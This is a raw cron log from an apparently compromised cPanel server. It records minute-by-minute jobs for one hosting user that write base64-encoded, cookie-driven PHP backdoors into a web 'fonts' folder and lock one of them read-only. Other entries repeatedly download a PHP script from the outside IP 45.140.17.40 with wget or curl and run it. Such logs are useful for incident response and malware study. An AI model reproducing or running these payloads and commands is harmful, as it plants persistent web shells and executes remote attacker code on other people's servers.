Sep  3 13:12:01 ip-184-168-122-23 CROND[11067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:12:01 ip-184-168-122-23 CROND[11068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:12:02 ip-184-168-122-23 CROND[11069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:13:01 ip-184-168-122-23 CROND[11157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:13:01 ip-184-168-122-23 CROND[11160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:13:01 ip-184-168-122-23 CROND[11159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:13:01 ip-184-168-122-23 CROND[11163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:14:01 ip-184-168-122-23 CROND[11262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:14:01 ip-184-168-122-23 CROND[11264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:14:01 ip-184-168-122-23 CROND[11265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:14:01 ip-184-168-122-23 CROND[11266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:14:02 ip-184-168-122-23 CROND[11267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:15:01 ip-184-168-122-23 CROND[11385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:15:01 ip-184-168-122-23 CROND[11386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:15:01 ip-184-168-122-23 CROND[11388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:15:01 ip-184-168-122-23 CROND[11389]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:15:01 ip-184-168-122-23 CROND[11391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:15:01 ip-184-168-122-23 CROND[11392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:16:02 ip-184-168-122-23 CROND[11482]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 13:16:02 ip-184-168-122-23 CROND[11484]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:16:02 ip-184-168-122-23 CROND[11485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:16:02 ip-184-168-122-23 CROND[11483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:16:02 ip-184-168-122-23 CROND[11487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:16:02 ip-184-168-122-23 CROND[11488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:17:01 ip-184-168-122-23 CROND[11612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:17:01 ip-184-168-122-23 CROND[11614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:17:01 ip-184-168-122-23 CROND[11613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:17:01 ip-184-168-122-23 CROND[11615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:18:01 ip-184-168-122-23 CROND[11711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:18:01 ip-184-168-122-23 CROND[11713]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:18:01 ip-184-168-122-23 CROND[11715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:18:01 ip-184-168-122-23 CROND[11714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:18:01 ip-184-168-122-23 CROND[11716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:19:01 ip-184-168-122-23 CROND[11825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:19:01 ip-184-168-122-23 CROND[11827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:19:01 ip-184-168-122-23 CROND[11829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:19:01 ip-184-168-122-23 CROND[11828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:20:01 ip-184-168-122-23 CROND[12011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:20:01 ip-184-168-122-23 CROND[12013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:20:01 ip-184-168-122-23 CROND[12014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:20:01 ip-184-168-122-23 CROND[12015]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 13:20:01 ip-184-168-122-23 CROND[12021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:20:01 ip-184-168-122-23 CROND[12018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:20:01 ip-184-168-122-23 CROND[12020]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 13:20:01 ip-184-168-122-23 CROND[12017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:20:01 ip-184-168-122-23 CROND[12019]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:21:01 ip-184-168-122-23 CROND[12113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:21:01 ip-184-168-122-23 CROND[12116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:21:01 ip-184-168-122-23 CROND[12117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:21:01 ip-184-168-122-23 CROND[12121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:22:01 ip-184-168-122-23 CROND[12195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:22:01 ip-184-168-122-23 CROND[12198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:22:01 ip-184-168-122-23 CROND[12197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:22:01 ip-184-168-122-23 CROND[12199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:22:01 ip-184-168-122-23 CROND[12196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:23:01 ip-184-168-122-23 CROND[12284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:23:01 ip-184-168-122-23 CROND[12286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:23:01 ip-184-168-122-23 CROND[12288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:23:01 ip-184-168-122-23 CROND[12287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:24:01 ip-184-168-122-23 CROND[12367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:24:01 ip-184-168-122-23 CROND[12368]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:24:01 ip-184-168-122-23 CROND[12371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
